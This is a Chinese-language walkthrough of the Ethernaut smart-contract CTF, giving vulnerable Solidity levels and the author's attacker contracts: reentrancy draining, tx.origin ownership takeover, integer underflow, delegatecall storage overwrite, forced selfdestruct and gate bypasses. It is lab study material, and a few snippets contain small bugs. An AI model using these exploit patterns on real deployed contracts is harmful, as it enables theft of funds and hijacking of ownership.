平台(ropsten测试网络,^0.5.0):https://ropsten.ethernaut.openzeppelin.com/
题目代码:https://github.com/OpenZeppelin/ethernaut
大佬blog:https://hitcxy.com/2019/ethernaut/
写在前面:
趁着元旦刷题,在pikachu大佬的博客和真人指导下刷完了靶场(Alien Codex无法生成实例,Rinkeby发推也领不到测试币……可能是天意让休息了吧-。-)。
本地的截图懒得贴了相信大家自己会操作的(),如果有什么心得要强调的话就是多翻翻solidity官方英文文档和国外的论文博文,中文资料确实不太好使。
5.7.1. Hello Challenge
5.7.1.1. source
pragma solidity ^0.5.0;
contract Instance {
string public password;
uint8 public infoNum = 42;
string public theMethodName = 'The method name is method7123949.';
bool private cleared = false;
// constructor
constructor(string memory _password) public {
password = _password;
}
function info() public pure returns (string memory) {
return 'You will find what you need in info1().';
}
function info1() public pure returns (string memory) {
return 'Try info2(), but with "hello" as a parameter.';
}
function info2(string memory param) public pure returns (string memory) {
if(keccak256(abi.encodePacked(param)) == keccak256(abi.encodePacked('hello'))) {
return 'The property infoNum holds the number of the next info method to call.';
}
return 'Wrong parameter.';
}
function info42() public pure returns (string memory) {
return 'theMethodName is the name of the next method.';
}
function method7123949() public pure returns (string memory) {
return 'If you know the password, submit it to authenticate().';
}
function authenticate(string memory passkey) public {
if(keccak256(abi.encodePacked(passkey)) == keccak256(abi.encodePacked(password))) {
cleared = true;
}
}
function getCleared() public view returns (bool) {
return cleared;
}
}
5.7.1.2. solve
F12里一步步来就可以了
5.7.2. Fallback
contract.address
"0x60f1eBfd3C7Da1Ba659cA11F3d977863bE6B2f26
you claim ownership of the contract
you reduce its balance to 0
5.7.2.1. solve
- 冲入2 wei满足contibution条件:contract.contribute({value:2})。//通过await contract.getContribution()看见words这里已经是2了。
- 通过调用不存在的函数或者用console的send来转钱调用fallback 。//getBalance(instance)看见已经是0
- withdraw()提取
5.7.2.2. source
pragma solidity ^0.5.0;
import 'openzeppelin-solidity/contracts/math/SafeMath.sol';
contract Fallback {
using SafeMath for uint256;
mapping(address => uint) public contributions;
address payable public owner;
constructor() public {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}
modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
function getContribution() public view returns (uint) {
return contributions[msg.sender];
}
function withdraw() public onlyOwner {
owner.transfer(address(this).balance);
}
//收钱的时候如果满足要求,会改变owner。
function() payable external {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}
5.7.3. 调用函数:Fallout
Claim ownership of the contract below to complete this level.
5.7.3.1. solve
- 直接调用contract.Fal1out().//contract.owner()能看到已经修改
5.7.3.2. source
pragma solidity ^0.5.0;
import 'openzeppelin-solidity/contracts/math/SafeMath.sol';
contract Fallout {
using SafeMath for uint256;
mapping (address => uint) allocations;
address payable public owner;
/* constructor */
function Fal1out() public payable {
owner = msg.sender; //吃惊,Rubixi真实案例
allocations[owner] = msg.value;
}
modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}
function allocate() public payable {
allocations[msg.sender] = allocations[msg.sender].add(msg.value);
}
function sendAllocation(address payable allocator) public {
require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);
}
function collectAllocations() public onlyOwner {
msg.sender.transfer(address(this).balance);
}
function allocatorBalance(address allocator) public view returns (uint) {
return allocations[allocator];
}
}
5.7.4. hashblock:Coin Flip
This is a coin flipping game where you need to build up your winning streak by guessing the outcome of a coin flip
- 构造攻击代码,用得到的side作为guess参数,调用flip两次
- contract.consecutiveWins() 查看已猜对次数,发现已经是2。
- 想要自动循环10次,但是如果用一个函数for循环调用攻击函数,由于调用十次但只交易一次,blocknumber不变,就会被asthash ban掉。。。需要研究能自动循环交易十次的方式。
- 本题里的循环代码和log打印变量代码没啥用但存着备查。
5.7.4.1. source
pragma solidity ^0.5.0;
//import 'openzeppelin-solidity/contracts/math/SafeMath.sol';
contract CoinFlip {
//using SafeMath for uint256;
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor() public {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
//uint256 blockValue = uint256(blockhash(block.number.sub(1)));//拿到地址反编译发现sub(1)就是-1.block.blockhash(block.number - 1) 表示负一高度的区块哈希
uint256 blockValue = uint256(blockhash(block.number-1));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
//uint256 coinFlip = blockValue.div(FACTOR);
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
5.7.4.2. solve
payload
pragma solidity ^0.4.10;
interface TargetInterface {
function flip(bool _guess) external;
}
contract Flipcoin_attacker {
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
TargetInterface constant private target = TargetInterface(0x74b4b6365a0f7831F80fDe314D7e5D05DFBe6332);
// 打印
event LogBool(string, bool);
function log(string s , bool x) internal {
emit LogBool(s, x);
}
//attack
function flip_attack() public {
uint256 blockValue = uint256(blockhash(block.number-1));
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
log("answer", side);
target.flip(side);
}
//循环attack过不了lashhash,但是代码先放着备存
function final_attack() public{
uint i;
for (i=0;i<9;i+=1) {
flip_attact();
}
}
}
5.7.5. tx.origin:Telephone
Solidity 中有一个全局变量,tx.origin,sender of the transaction (full call chain)。它遍历整个调用栈并返回最初发送调用(或交易)的帐户的地址。
confusing tx.origin with msg.sender can lead to phishing-style attacks。tx.origin不应该用于智能合约授权。这并不是说该tx.origin变量不应该被使用。它确实在智能合约中有一些合法用例。例如,如果有人想要拒绝外部合约调用当前合约,他们可以实现一个从require(tx.origin == msg.sender)中实现这一要求。这可以防止中间合约调用当前合约,只将合约开放给常规无代码地址。
5.7.5.1. solve
- 需要调用 changeOwner
- 需要tx.orgin和msg.sender不同。
- tx.origin (address)为交易的原始调用者,即交易的发送方。msg.sender是消息的发送方
- 当通过call调用别的合约时,tx.origin没有变,但是msg.sender会变。
- 如果部署源代码或原合约接口,再用at address的方式调用对方合约,则tx.origin和msg.sender都是自己。
- 本地部署合约调用目标合约,此时tx.origin是自己,msg.sender是自己部署的合约。
- 通过await contract.owner()可以看见owner已经是自己。
5.7.5.2. source
pragma solidity ^0.5.0;
contract Telephone {
address public owner;
constructor() public {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
'''payload====================================================='''
#deploy的时候,_owern填上自己的地址即可完成攻击
pragma solidity ^0.4.24;
interface TargetInterface {
function changeOwner(address _owner) external;
}
contract attacker {
TargetInterface constant private target = TargetInterface(0x6967C1FD9F7f865AA963A4e0803459d0354D6A1f);
//attack
function Change_attack(address _owner) public {
target.changeOwner(_owner);
}
}
5.7.6. 整数溢出:Token
You are given 20 tokens to start with and you will beat the level if you somehow manage to get your hands on any additional tokens. Preferably a very large amount of tokens.
5.7.6.1. source
pragma solidity ^0.5.0;
contract Token {
mapping(address => uint) balances;
uint public totalSupply;
constructor(uint _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}
function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
}
5.7.6.2. solve
- 因为 balances 为 unit 类型,无符号整数,不存在负数形式,所以 balances[msg.sender] - _value >= 0 永远为真。
- 安全的用法是在每一次数学运算时进行判断,是
balances[msg.sender] >= _amount
。同理对于加法,如 a=a+b ;就可以写成 if(a+b>a) a=a+b; - 也可以使用SafeMath库 ,如果整数溢出漏洞发生时,函数将进行回退操作,此时加法操作可以写作这样:a=a.add(b);
- 安全的用法是在每一次数学运算时进行判断,是
- 命令行调用contract.transfer(instance,21)可以,也可以在remix里load contract from address进行攻击。(编译源代码或目标合约接口,at address选target进行load,调用transfer。。详见图)
- 通过await contract.balanceOf(player)看到token已经是大数。
[图片上传失败...(image-79d1d4-1609663827300)]
5.7.7. delegatecall:Delegation
- Look into Solidity's documentation on the delegatecall low level function, how it works, how it can be used to delegate operations to on-chain libraries, and what implications it has on execution scope.
- delegatecall是通过函数名hash(sha3,也就是keccak256)后的前4个bytes来确定调用函数的,即address(Attack).delegatecall(bytes4(keccak256("foo()")));
- Fallback methods。
- Method ids
5.7.7.1. source
pragma solidity ^0.5.0;
contract Delegate {
address public owner;
constructor(address _owner) public {
owner = _owner;
}
function pwn() public {
owner = msg.sender;
}
}
contract Delegation {
address public owner;
Delegate delegate;
constructor(address _delegateAddress) public {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}
function() external {
(bool result, bytes memory data) = address(delegate).delegatecall(msg.data);
if (result) {
this; //表示当前合约
}
}
}
5.7.7.2. solve
- 通过Delegation去调用Delegate的pwn(),导致Delegation的stor1被Delegate的stor1覆盖,即变成msg.sender
- 算地址可以直接用chef。得到地址是dd365b8b。或者用solidity跑。
- console里输入contract.sendTransaction({data:"0xdd365b8b"})调用。可能会报out of gas的错,需要调高gas limit
[图片上传失败...(image-404634-1609663827300)]
pragma solidity ^0.4.18;
contract test{
function func() view returns (bytes4){
return bytes4(keccak256("pwn()"));
}
}
5.7.8. selfdestruct:Force
Some contracts will simply not take your money
The goal of this level is to make the balance of the contract greater than zero.
Things that might help:
Fallback methods
Sometimes the best way to attack a contract is with another contract.
See the Help page above, section "Beyond the console"
5.7.8.1. solve
熟练的自毁,部署时不用填入value。带value进行kill
await getBalance(instance)可以看余额,也可以去ropscan上面看。
5.7.8.2. source
pragma solidity ^0.4.10;
contract Abcc {
function kill() public payable {
selfdestruct(address(0x3981E1F5B0c045b71c370F2856f358C7A9b35eD0));//目标的地址
}
}
5.7.9. storage读取1:Vault
Unlock the vault to pass the level!
合约中的所有内容对所有外部观察者都是可见的。private只会阻止其他合约访问和修改信息。
5.7.9.1. solve
- 浏览器console里输入web3.eth.getStorageAt("0x3D8a402832eCF2a6d0043E11A9682CD4800Daf6E", 1, function(x, y) {console.warn(y)});得到0x412076657279207374726f6e67207365637265742070617373776f7264203a29
- contract.unlock("0x412076657279207374726f6e67207365637265742070617373776f7264203a29") 成功解锁。contract.locked()可以看到已经是false了。
5.7.9.2. source
pragma solidity ^0.5.0;
contract Vault {
bool public locked;
bytes32 private password;
constructor(bytes32 _password) public {
locked = true;
password = _password;
}
function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
}
5.7.10. transfer: King
The contract below represents a very simple game: whoever sends it an amount of ether that is larger than the current prize becomes the new king. On such an event, the overthrown king gets paid the new prize, making a bit of ether in the process! As ponzi as it gets xD
Such a fun game. Your goal is to break it.
When you submit the instance back to the level, the level is going to reclaim kingship. You will beat the level if you can avoid such a self proclamation.
5.7.10.1. solve
- a.transfer(value):发送以太币到指定地址a,是用来替代send()的。
- 当 transfer() 调用失败时会回滚状态
- 先读storage1得到prize=0xde0b6b3a7640000,msg.value的单位是wei,即1eth。
- 发送大于prize的value成为king。然后 reclaim时会先试图transfer,但只要我没有fallback或者fallback是reverse,transfer就会失败……也就无法修改king了。
- 直接转账的话会被改回来。部署合约,fallback写reverse()。await contract._king()看到已经是合约地址了。
- 踩了个坑,一开始用transfer回送,但是transfer的gas limit上限是2300,在测试网络是个穷鬼。。改成call.value()()就立刻过了。。。我。。
/*
payload==============================================================================
部署合约但是不给fallback,value填1.1 wei
*/
pragma solidity ^0.4.18;
contract Attack {
function hack( address instance_address) public payable{
(bool result, bytes memory data) = instance_address.call.value(msg.value)();
}
function () public payable {
revert();
}
}
直接填value送是可以拿到king的,但是会被改回来。。。
[图片上传失败...(image-5ed965-1609663827300)]
5.7.10.2. source
pragma solidity ^0.5.0;
contract King {
address payable king;
uint public prize;
address payable public owner;
constructor() public payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}
function() external payable {
require(msg.value >= prize || msg.sender == owner);
king.transfer(msg.value);
king = msg.sender;
prize = msg.value;
}
function _king() public view returns (address payable) {
return king;
}
}
5.7.11. Re-entrancy
The goal of this level is for you to steal all the funds from the contract.
Untrusted contracts can execute code where you least expect it.
- Fallback methods
- Throw/revert bubbling
- Sometimes the best way to attack a contract is with another contract.
- See the Help page above, section "Beyond the console"
- use the Checks-Effects-Interactions pattern。being aware that call will only return false without interrupting the execution flow. Solutions such as ReentrancyGuard or PullPayment can also be used.
- Always assume that the receiver of the funds you are sending can be another contract, not just a regular address. Hence, it can execute code in its payable fallback method and re-enter your contract, possibly messing up your state/logic.
5.7.11.1. source
contract Reentrance {
mapping(address => uint) public balances;
function donate(address _to) public payable {
balances[_to] = balances[_to]+msg.value;
}
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
if(msg.sender.call.value(_amount)()) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
function() public payable {}
}
5.7.11.2. solve
- balance是unit可以整数溢出
- 首先donate 1wei给个起始的balance。-----这一步合约调用竟然没有成功,查询balanceOf一直是0。在命令行成功了,凭啥。contract.donate.sendTransaction("0x9Aa1B21EAF70E42D6f556F8661e78092eCaAe0Ce",{value: 1})
- 然后触发withdraw(1)。call.value后balance是0,然后再次触发fallback里的withdraw(1),balance溢出
- 这里踩了个小坑因为一开始用的是require flag==0,结果第二次转账直接撤销状态更改。用assert也不行,第一次转账都失败了。。。要用if。
pragma solidity ^0.4.18;
interface TargetInterface {
function donate(address _to) external payable ;
function withdraw(uint _amount) external;
function balanceOf(address _who) external view returns (uint balance);
}
contract Attack {
uint private flag = 0;
address instance = 0x95198b030F83F7D89c9D4641D22dD148cD33F2F7;
TargetInterface constant private target = TargetInterface(instance);
function don() public payable{
target.donate.value(1 ether)(this);
}
function withd() public{
target.withdraw(1 ether);
}
function kill() public payable {
selfdestruct(address(0xdBc1ce93E1237baf2585CA87909B30A87A2E77B6));//自己的地址
}//为了把钱要回来真是煞费苦心
function getB() public view returns (uint) {
return target.balanceOf(this);
}
function() external payable {
if (flag = 0){
flag += 1;
target.withdraw(1 ether);
}
}
}
5.7.12. 函数重写: Elevator
This elevator won't let you reach the top of your building. Right?
Things that might help:
- Sometimes solidity is not good at keeping promises.
- This Elevator expects to be used from a Building.
- You can use the view function modifier on an interface in order to prevent state modifications.The pure modifier also prevents functions from modifying the state.
5.7.12.1. solve
- 函数没有禁止修改的修饰器(view的不修改只是建议,不是强制的)。重写isLastFloor,这样第一次进的时候是false,但是第二次调用时通过重写的取反函数变成true,就成功修改了top值。
- contract.top()发现已经是true
contract attacker{
bool public t = true;
Elevator target = Elevator(0x636206cb3643745d7b4351E72090A537733AE679);
function ele_attack(uint _floor) public{
target.goTo(_floor);
}
function isLastFloor(uint) public returns (bool){ //要是算错了就再点一次取反
t = !t;
return t;
}
}
5.7.12.2. source
pragma solidity ^0.5.0;
interface Building {
function isLastFloor(uint) external returns (bool);
}
contract Elevator {
bool public top;//false
uint public floor;//0
function goTo(uint _floor) public {
Building building = Building(msg.sender);
if (! building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}
5.7.13. storage读取2:Privacy
The creator of this contract was careful enough to protect the sensitive areas of its storage.
Unlock this contract to beat the level.
Things that might help:
- Understanding how storage works
- Understanding how parameter parsing works
- Understanding how casting works
- Tips:Remember that metamask is just a commodity. Use another tool if it is presenting problems. Advanced gameplay could involve using remix, or your own web3 provider.
5.7.13.1. solve
- 我们知道所有变量都是可见的。
- web3.eth.getStorageAt(instance,0,function(x,y){console.info(y);}),此时为0
- web3.eth.getStorageAt(instance,2,function(x,y){console.info(y);}):0x000000000000000000000000000000000000000000000000000000002196ff0a
-
web3.eth.getStorageAt(instance, 5, function(x, y) {console.warn(y)});
得到0xb9002725c0e4ac430e86a574f1465b51aab339c4d23cdcd523e11870aefe1f40
- bytes16(data[2])即前16字节,懒得编译了,命令行输入
contract.unlock("0xb9002725c0e4ac430e86a574f1465b51");
,执行后看stor0已经从1变成0。
5.7.13.2. source
pragma solidity ^0.5.0;
contract Privacy {
bool public locked = true; //1 字节 01——stor[0]
uint256 public ID = block.timestamp; //32 字节——stor[1]
uint8 private flattening = 10; //1 字节 0a——stor[2],先推进栈
uint8 private denomination = 255;//1 字节 ff——stor[2]
uint16 private awkwardness = uint16(now);//2 字节——stor[2]
bytes32[3] private data;——stor[3\4\5]
constructor(bytes32[3] memory _data) public {
data = _data;
}
function unlock(bytes16 _key) public {
require(_key == bytes16(data[2]));
locked = false;
}
/*
A bunch of super advanced solidity algorithms...
,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^ ,---/V\
`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*. ~|__(o.o)
^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU
*/
}
5.7.14. gasleft:Gatekeeper One
difficulty 5/10
Make it past the gatekeeper and register as an entrant to pass this level.
Things that might help:
- Remember what you've learned from the Telephone and Token levels.
- You can learn more about the msg.gas special variable, or its preferred alias gasleft(), in Solidity's documentation (see here and here).
5.7.14.1. source
pragma solidity ^0.5.0;
import 'openzeppelin-solidity/contracts/math/SafeMath.sol';
//import "https://github.com/OpenZeppelin/openzeppelin-contracts/contracts/math/SafeMath.sol";
//import "github:OpenZeppelin/openzeppelin-contracts/contracts/math/SafeMath.sol";
contract GatekeeperOne {
using SafeMath for uint256;
address public entrant;
// 要求通过合约调用
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
// 剩余gas要整除8191
modifier gateTwo() {
require(gasleft().mod(8191) == 0);
_;
}
// 满足条件,uint的比较
modifier gateThree(bytes8 _gateKey) {
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
require(uint32(uint64(_gateKey)) == uint16(tx.origin), "GatekeeperOne: invalid gateThree part three");
_;
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}
/*
payload==============================================================================
*/
pragma solidity ^0.5.0;
contract attacker{
//address target = 0xe2e5Fe10f604b16C9F1Eae68b797B59F2Abff110;
//bytes8 _gateKey = 0x0000dBc110000000;
function attack(address target, bytes8 _gateKey,uint _gasUsed) public{
target.call.gas(8191+_gasUsed)(abi.encodeWithSignature("enter(bytes8)",_gateKey)) ;
}
}
5.7.14.2. solve
- 知识点:gasleft() returns (uint256):剩余的 gas。可以使用 .gas() 修饰器modifier 调整提供的 gas 数量
- 不同位数uint相等的绕过,考存储方式的熟悉(一开始完全搞错了……)
- 通过在原合约增加public变量来看看到底是咋处理的
- msg.sender: 0x7b96aF9Bd211cBf6BA5b0dd53aa61Dc5806b6AcE
- gatekey:0x00005B38D0000000
- tx.orgin:0x5B38Da6a701c568545dCfcB03FcB875f56beddC4
- 输出如下:结论是存uint时是类似栈的存放顺序先存到低位,uint16/32/64分别是是低16/32/64位。
p1 = uint32(uint64(_gateKey)) = '0xd0000000'
p11 = uint16(uint64(_gateKey)) = 0
p21 = uint64(_gateKey) = '0x5b38d0000000'
p31 = uint16(tx.origin) = '0xddc4'
- 现在可以凑res了
- p31==p1,所以uint32(uint64(_gateKey)) = 0x0000ddc4
- p21=p1自然也满足
- p1 != p21,所以_gateKey的高位只要有一个不是0就可以了。0x100000000000ddc4,测试证明满足条件。
- 通过在原合约增加public变量来看看到底是咋处理的
uint相等的绕过。错误思路留下是为了证明成长()。
[图片上传失败...(image-8009d3-1609663827300)]
5.7.14.2.1. 做法1:精准debug
- gasleft的绕过方式1:通过debug来看gas消耗。
- 给enter传入个100000的gas,一路走直到看到GAS语句,再往后看到mod的a是99746,b是8191,结果是1454。
- 为了使left==0,修改传入的gas为100000-1454=98546,再次debug发现已绕过。
- 结果目标合约就是不对,这就很尴尬了。。。。估计是因为本地环境和远程环境的compiler不同,应该调试远程环境()。同样找到gas语句,执行完剩下98335。修改传入gas为 98546-98335%8191=98503
本地看gasleft可以直接看solidity locals,或者一路拖到gas降到传入gas附近,再一条条找到gas语句。gasleft()应该为执行完gas后剩下的gas。
[图片上传失败...(image-9ed5fd-1609663827300)]
内部调试证明已经通过,但是打目标合约就失败了。猜测是版本问题。。找到老版本safemath改成了0.5.0,结果实验环境还是可以通过,题目合约还是不行。。。编译器咱也不知道是哪个版本。。。。那就直接调远程吧。
[图片上传失败...(image-8df8e4-1609663827300)]
contract attacker{
//address target = 0xe2e5Fe10f604b16C9F1Eae68b797B59F2Abff110;
//tx.origin = 0xdBc1ce93E1237baf2585CA87909B30A87A2E77B6;
//bytes8 _gateKey = 0x10000000000077B6;
function attack(address _target, bytes8 _gateKey) public{
_target.call.gas(98503)(abi.encodeWithSignature("enter(bytes8)",_gateKey)) ;
}
}
5.7.14.2.2. 做法2:直接爆破2
- gasleft的绕过方式2: 出题人竟然是直接爆破的…… gas offset usually comes in around 210, give a buffer of 60 on each side。好吧你说usually就usually
contract attacker{
//address target = 0xe2e5Fe10f604b16C9F1Eae68b797B59F2Abff110;
//tx.origin = 0xdBc1ce93E1237baf2585CA87909B30A87A2E77B6;
//bytes8 _gateKey = 0x10000000000077B6;
function attack2(address _target, bytes8 _gateKey) public{
uint i;
for (i=0;i<120;i++) {
_target.call.gas(81910+150+i)(abi.encodeWithSignature("enter(bytes8)",_gateKey)) ;}
}
尝试分析这个210是怎么来的。先通过remaining gas固定值98503找到basicblock的起点。这里是step218,上一步执行的是call。下面的操作是比较常见的runtime操作码开头,推入内存,看有没有callvalue有则revert(因为enter函数不是payable),然后读calldata,然后匹配函数签名,找到后跳转。
[图片上传失败...(image-5ff92c-1609663827300)]
然后找modifier1,需要读tx.origin和msg.sender。step277前有个jumpdest的起点,然后读origin。此时已经用掉了204的gas,和210很接近了。
[图片上传失败...(image-7f899-1609663827300)]
继续往下,GAS执行完剩下98249,可以看到stack里存的就是98249和8191,接下来就要调用safemath的mod了。累计用掉254的gas。
[图片上传失败...(image-326a5d-1609663827300)]
总结来看
- 在调用函数时的起始工作是类似的。推入内存,看有没有callvalue,读calldata,匹配函数签名,找到后跳转。
- modifier确实按照先后顺序调用。
5.7.15. extcodesize: Gatekeeper Two
This gatekeeper introduces a few new challenges. Register as an entrant to pass this level.
Things that might help:
- Remember what you've learned from getting past the first gatekeeper - the first gate is the same.
- The assembly keyword in the second gate allows a contract to access functionality that is not native to vanilla Solidity. See here for more information. The extcodesize call in this gate will get the size of a contract's code at a given address - you can learn more about how and when this is set in section 7 of the yellow paper.
- The ^ character in the third gate is a bitwise operation (XOR), and is used here to apply another common bitwise operation (see here). The Coin Flip level is also a good place to start when approaching this challenge.
5.7.15.1. source
pragma solidity ^0.5.0;
contract GatekeeperTwo {
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
uint x;
assembly { x := extcodesize(caller) }
require(x == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == uint64(0) - 1);
_;
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}
5.7.15.2. solve
- one需要通过合约调用
- two需要extcodesize(caller)==0
- extcodesize(a): Get size of an account's code.
- a 为合约时,获取的大小为合约字节码大小;a 为账户时,获取的大小为 0 。因此我们需要把攻击合约的调用操作写在 constructor 构造函数中。
- 知识点:在执行初始化代码(构造函数),而新的区块还未添加到链上的时候,新的地址已经生成,然而代码区为空,此时,调用 EXTCODESIZE() 返回为 0。
- three需要uint64(_gateKey) == uint64(bytes8(keccak256(abi.encodePacked(msg.sender))))^(uint64(0) - 1),异或真是最好还原加密方式=3=
- 命令行输入contract.entrant()可以确认已通关。
/*
payload==============================================================================
*/
pragma solidity ^0.5.10;
contract Attacter {
constructor() public payable {
address target = 0x807145cE461Cf7A7D83C61F2317f6cCeB46bf036;
uint64 _gateKey = uint64(bytes8(keccak256(abi.encodePacked(this))))^(uint64(0) - 1);
target.call(abi.encodeWithSignature("enter(bytes8)", bytes8(_gateKey)));
}
}
5.7.16. ERC20和import : Naught Coin
NaughtCoin is an ERC20 token and you're already holding all of them. The catch is that you'll only be able to transfer them after a 10 year lockout period. Can you figure out how to get them out to another address so that you can transfer them freely? Complete this level by getting your token balance to 0.
Things that might help
- The ERC20 Spec
- The OpenZeppelin codebase
5.7.16.1. source
pragma solidity ^0.5.0;
import 'openzeppelin-solidity/contracts/token/ERC20/ERC20Detailed.sol';
import 'openzeppelin-solidity/contracts/token/ERC20/ERC20.sol';
contract NaughtCoin is ERC20, ERC20Detailed {
// string public constant name = 'NaughtCoin';
// string public constant symbol = '0x0';
// uint public constant decimals = 18;
uint public timeLock = now + 10 * 365 days;
uint256 public INITIAL_SUPPLY;
address public player;
constructor(address _player)
ERC20Detailed('NaughtCoin', '0x0', 18)
ERC20()
public {
player = _player;
INITIAL_SUPPLY = 1000000 * (10**uint256(decimals()));
// _totalSupply = INITIAL_SUPPLY;
// _balances[player] = INITIAL_SUPPLY;
_mint(player, INITIAL_SUPPLY);
emit Transfer(address(0), player, INITIAL_SUPPLY);
}
function transfer(address _to, uint256 _value) lockTokens public returns(bool) {
super.transfer(_to, _value);
}
// Prevent the initial owner from transferring tokens until the timelock has passed
modifier lockTokens() {
if (msg.sender == player) {
require(now > timeLock);
_;
} else {
_;
}
}
}
5.7.16.2. solve
- ERC20
- https://docs.openzeppelin.com/contracts/3.x/api/token/erc20
- 知识点一:ERC20有两种触发event transfer的方式,transferFrom(sender, recipient, amount)和transfer(recipient, amount),题目代码只重写了transfer,可以利用剩下的transferFrom函数转账已approve的token。
- 知识点二:注意approve函数触发的是
Approval(msg.sender, _spender, _value);
- 知识点三:引入的代码要仔细看全啊=。=
- OpenZeppelin
- https://github.com/OpenZeppelin/openzeppelin-contracts/tree/master/contracts
- 做法
- contract.approve(player,toWei("1000000"));或者用interface调用目标合约,使msg.sender==player。
- contract.transferFrom(player,contract.address,toWei("1000000"))
操作流程如下
[图片上传失败...(image-968872-1609663827300)]
/*
payload==============================================================================
*/
pragma solidity ^0.5.0;
interface TargetInterface {
function approve(address spender, uint256 amount) external;
function transferFrom(address sender, address recipient, uint256 amount) external;
}
并附ERC20相关代码
library ERC20Lib {
function transfer(TokenStorage storage self, address _to, uint _value) returns (bool success) {
self.balances[msg.sender] = self.balances[msg.sender].minus(_value);
self.balances[_to] = self.balances[_to].plus(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(TokenStorage storage self, address _from, address _to, uint _value) returns (bool success) {
var _allowance = self.allowed[_from](msg.sender);
self.balances[_to] = self.balances[_to].plus(_value);
self.balances[_from] = self.balances[_from].minus(_value);
self.allowed[_from](msg.sender) = _allowance.minus(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(TokenStorage storage self, address _spender, uint _value) returns (bool success) {
self.allowed[msg.sender](_spender) = _value;
Approval(msg.sender, _spender, _value);
return true;
}
}
5.7.17. delegatecall:Preservation
This contract utilizes a library to store two different times for two different timezones. The constructor creates two instances of the library for each time to be stored.
The goal of this level is for you to claim ownership of the instance you are given.
Things that might help
- Look into Solidity's documentation on the delegatecall low level function, how it works, how it can be used to delegate operations to on-chain. libraries, and what implications it has on execution scope.
- Understanding what it means for delegatecall to be context-preserving.
- Understanding how storage variables are stored and accessed.
- Understanding how casting works between different data types.
5.7.17.1. source
pragma solidity ^0.5.0;
contract Preservation {
// public library contracts
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint storedTime;
// Sets the function signature for delegatecall
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));
constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {
timeZone1Library = _timeZone1LibraryAddress;
timeZone2Library = _timeZone2LibraryAddress;
owner = msg.sender;
}
// set the time for timezone 1
function setFirstTime(uint _timeStamp) public {
timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
// set the time for timezone 2
function setSecondTime(uint _timeStamp) public {
timeZone2Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
}
}
// Simple library contract to set the time
contract LibraryContract {
// stores a timestamp
uint storedTime;
function setTime(uint _time) public {
storedTime = _time;
}
}
5.7.17.2. solve
- 知识点:delegatecall调用时会发生变量覆盖。
- 思路:
- 先调用setSecondTime(attacker),此时通过delegatecall LibraryContract.setTime,覆盖第一个变量timeZone1Library为attack。注意这里不能用setFirstTime去覆盖第一个变量。。。莫非有锁定?
- 然后调用setFirstTime(tx.origin),通过delegatecall attacker.setTime,覆盖第三个变量owner为tx.origin
contract Attacker {
address public timeZone1Library;
address public timeZone2Library;
address public owner;
function setTime(uint _time) public {
owner = tx.origin;
}
}
通过delegatecall覆盖storage的测试:
[图片上传失败...(image-37e419-1609663827302)]
本题做法:
[图片上传失败...(image-43be5e-1609663827302)]
5.7.18. 子合约地址计算:Recovery
A contract creator has built a very simple token factory contract. Anyone can create new tokens with ease. After deploying the first token contract, the creator sent 0.5 ether to obtain more tokens. They have since lost the contract address.
This level will be completed if you can recover (or remove) the 0.5 ether from the lost contract address.
